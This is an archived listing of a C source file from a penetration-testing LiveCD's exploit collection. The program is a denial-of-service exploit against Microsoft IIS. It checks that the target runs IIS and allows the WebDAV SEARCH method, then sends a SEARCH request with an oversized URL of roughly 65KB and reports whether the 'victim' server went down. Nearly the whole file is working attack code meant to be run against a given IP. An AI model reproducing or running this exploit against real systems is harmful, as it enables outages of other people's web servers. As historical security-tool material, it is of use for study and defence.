home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / iis / MSIISpropFindAndSearchDoS.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  163 lines

  1. /*
  2. IIS eXploit. by velan. Greetz to: Shashank Pandey a.k.a +(Neo1)+
  3. Bid:  7735
  4. */
  5.  
  6. #define ERROR -1
  7. #define OK 1
  8.  
  9. #ifdef HAVE_CONFIG_H
  10. #include <config.h>
  11. #endif
  12.  
  13. #include <stdio.h>
  14. #include <stdlib.h>
  15. #include <sys/socket.h>
  16. #include <sys/types.h>
  17. #include <netinet/in.h>
  18. #include <arpa/inet.h>
  19. #include <string.h>
  20.  
  21. int check_for_iis();
  22. void screw_iis();
  23. void usage();
  24.  
  25. char IP[15];
  26.  
  27. int main(int argc, char *argv[])
  28. {
  29. /*  cout << "Hello, World!" << endl;  */
  30.  
  31.    if(argc !=2)
  32.    {
  33.       usage();  exit(0);
  34.    }
  35.  
  36.    printf("IIS eXploit. by velan. Greetz to: Shashank Pandey a.k.a +(Neo1)+\n");
  37.  
  38.    strcpy(IP, argv[1]);
  39.  
  40.    if(check_for_iis() != OK)
  41.    {
  42.       printf("Sorry, BAD LUCK! \n");    exit(0);
  43.    }
  44.  
  45.    screw_iis();
  46.  
  47.   return EXIT_SUCCESS;
  48. }
  49.  
  50. int check_for_iis()
  51. {
  52.   int sck, flag = 1;
  53.   struct sockaddr_in sin;
  54.   char req[50];
  55.  
  56.   sck = socket(AF_INET, SOCK_STREAM, 0);
  57.   if(sck == ERROR)
  58.   {
  59.     perror("Socket error ");      exit(0);
  60.   }
  61.  
  62.   sin.sin_port = htons(80);
  63.   sin.sin_family = AF_INET;
  64.   sin.sin_addr.s_addr = inet_addr(IP);
  65.  
  66.   if ((connect(sck, (struct sockaddr *) &sin, sizeof(sin))) == -1)
  67.   {
  68.     perror("Connect Error ");     exit(0);
  69.   }
  70.  
  71.   strcpy(req, "GET / HTTP/1.0\r\n\n");
  72.   send(sck, req, sizeof(req), 0);
  73.   recv(sck, req, sizeof(req), 0);
  74.  
  75.   if (strstr(req,"IIS") == NULL)
  76.   {
  77.     printf(" Not an IIS server! \n");
  78.     flag = 0;
  79.   }
  80.  
  81.   sprintf(req,"SEARCH / HTTP/1.0\r\n\n",40);
  82.   send(sck, req, sizeof(req), 0);
  83.   recv(sck, req, sizeof(req), 0);
  84.  
  85.   if (strstr(req,"HTTP/1.1 411 Length Required") == NULL)
  86.   {
  87.     printf("METHOD SEARCH NOT ALLOWED. \n");
  88.     flag = 0;
  89.   }
  90.  
  91.   return(flag);
  92. }
  93.  
  94.  
  95.  
  96. void screw_iis()
  97. {
  98.   int sck, flag = 1;
  99.   struct sockaddr_in sin;
  100.   char junk[100];
  101.   char buffer[65535] ="";
  102.   char request[80000];
  103.   char content[] =
  104.            "<?xml version=\"1.0\"?>\r\n"
  105.            "<g:searchrequest xmlns:g=\"DAV:\">\r\n"
  106.            "<g:sql>\r\n"
  107.            "Select \"DAV:displayname\" from scope()\r\n"
  108.            "</g:sql>\r\n"
  109.            "</g:searchrequest>\r\n";
  110.  
  111.  
  112.   sck = socket(AF_INET, SOCK_STREAM, 0);
  113.   if(sck == ERROR)
  114.   {
  115.     perror("Socket error ");      exit(0);
  116.   }
  117.  
  118.   sin.sin_port = htons(80);
  119.   sin.sin_family = AF_INET;
  120.   sin.sin_addr.s_addr = inet_addr(IP);
  121.  
  122.   if ((connect(sck, (struct sockaddr *) &sin, sizeof(sin))) == -1)
  123.   {
  124.     perror("Connect Error ");     exit(0);
  125.   }
  126.  
  127.   buffer[sizeof(buffer)]=0x00;
  128.  
  129.   memset(buffer,'S',sizeof(buffer));
  130.   memset(request,0,sizeof(request));
  131.   memset(junk,0,sizeof(junk));
  132.  
  133.   sprintf(request,"SEARCH /%s HTTP/1.1\r\nHost: %s\r\nContent-type: text/xml\r\nCon
  134. tent-Length: ",buffer,IP);
  135.   sprintf(request,"%s%d\r\n\r\n",request,strlen(content));
  136.  
  137.   printf("\r\nScrewing the server... \n");
  138.  
  139.   send(sck,request,strlen(request),0);
  140.  
  141.   send(sck,content,strlen(content),0);
  142.  
  143.   recv(sck,junk,sizeof(junk),0);
  144.  
  145.   if(junk[0]==0x00)
  146.   {
  147.      printf("Server is Screwed! \r\n");
  148.   }
  149.   else
  150.   {
  151.       printf("BAD LUCK. Patched.\n");
  152.   }
  153. }
  154.  
  155.  
  156.  
  157. void usage()
  158. {
  159.   printf("IIS eXploit. by velan. Greetz to: Shashank Pandey a.k.a +(Neo1)+\n");
  160.   printf("Usage\r\n");
  161.   printf("Screw_IIS <victim IP>\n");
  162. }
  163.